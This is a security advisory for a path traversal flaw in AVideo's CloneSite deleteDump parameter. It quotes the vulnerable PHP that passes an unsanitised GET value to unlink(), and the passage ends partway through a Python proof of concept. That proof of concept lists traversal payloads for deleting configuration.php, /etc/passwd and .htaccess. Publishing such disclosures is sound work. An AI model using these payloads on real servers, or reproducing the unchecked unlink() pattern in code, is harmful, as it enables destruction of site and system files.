GHSA-5879-4fmr-xwf2

### Summary The incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter. ### Affected Package - **Ecosystem:** Other - **Package:** AVideo - **Affected versions:** < commit 941decd6d19e - **Patched versions:** >= commit 941decd6d19e ### Details At line 44-48 of `cloneServer.json.php` (pre-fix): ```php if (!empty($_GET['deleteDump'])) { $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}"); $resp->msg = "Delete Dump {$_GET['deleteDump']}"; die(json_encode($resp)); } ``` No `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$clonesDir`. The vulnerable code has zero protection against path traversal: - No `basename()` to strip directory components - No `realpath()` to validate the final path - No check that resolved path is within `$clonesDir` - No `../` sanitization - Additionally, `exec()` calls with `mysqldump` pass credentials on the command line ### PoC ```python """ CVE-2026-33293 - AVideo CloneSite Path Traversal """ import sys import os VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php") def verify_source_file(): if not os.path.isfile(VULN_SRC): print("ERROR: Source not found at %s" % VULN_SRC) sys.exit(1) with open(VULN_SRC, "r") as f: src = f.read() if "unlink(" not in src or "deleteDump" not in src: print("ERROR: Expected patterns not found") sys.exit(1) return src def vulnerable_delete_path(clones_dir, delete_dump): return clones_dir + delete_dump def test_path_traversal(): clones_dir = "/var/www/html/AVideo/videos/clones/" payloads = [ ("../../configuration.php", "Delete site configuration"), ("../../../etc/passwd", "Delete system file"), ("../../.htaccess", "Delete .htaccess"), ] print("Testing path tr